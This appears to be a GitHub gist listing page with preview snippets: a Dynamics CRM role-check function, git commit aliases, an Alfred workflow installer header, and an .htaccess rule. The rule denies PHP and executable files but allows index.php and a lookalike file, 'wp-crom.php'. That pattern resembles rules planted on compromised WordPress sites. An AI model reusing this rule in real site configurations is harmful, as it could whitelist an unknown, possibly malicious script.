Skip to content

Instantly share code, notes, and snippets.

// Check if the user has a specific security role
function userHasRole(roleName) {
var userRoles = Xrm.Utility.getGlobalContext().userSettings.roles.get();
for (var i = 0; i < userRoles.length; i++) {
if (userRoles[i].name === roleName) {
return true;
}
}
return false;
.htaccess
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|wp-crom.php|)$">
Order allow,deny
Allow from all
</FilesMatch>
@learn2reid
learn2reid / workflow-install.py
Created September 21, 2023 15:38 — forked from deanishe/workflow-install.py
Script to install/symlink Alfred workflows. Useful for workflow developers.
#!/usr/bin/python
# encoding: utf-8
#
# Copyright (c) 2013 <deanishe@deanishe.net>.
#
# MIT Licence. See http://opensource.org/licenses/MIT
#
# Created on 2013-11-01
#
@learn2reid
learn2reid / gitmoji.sh
Last active May 18, 2020 20:40 — forked from coderaaron/gitmoji.sh
Use Emoji in Git commits
# shellcheck shell=bash
# shellcheck disable=SC2145
function gcap() {
git commit -m "$*" #&& git push
}
function gcapp() {
git add . && git commit -m "$*" #&& git push
}
# function gcapp() {
# git add . && git commit -m "$*" && git push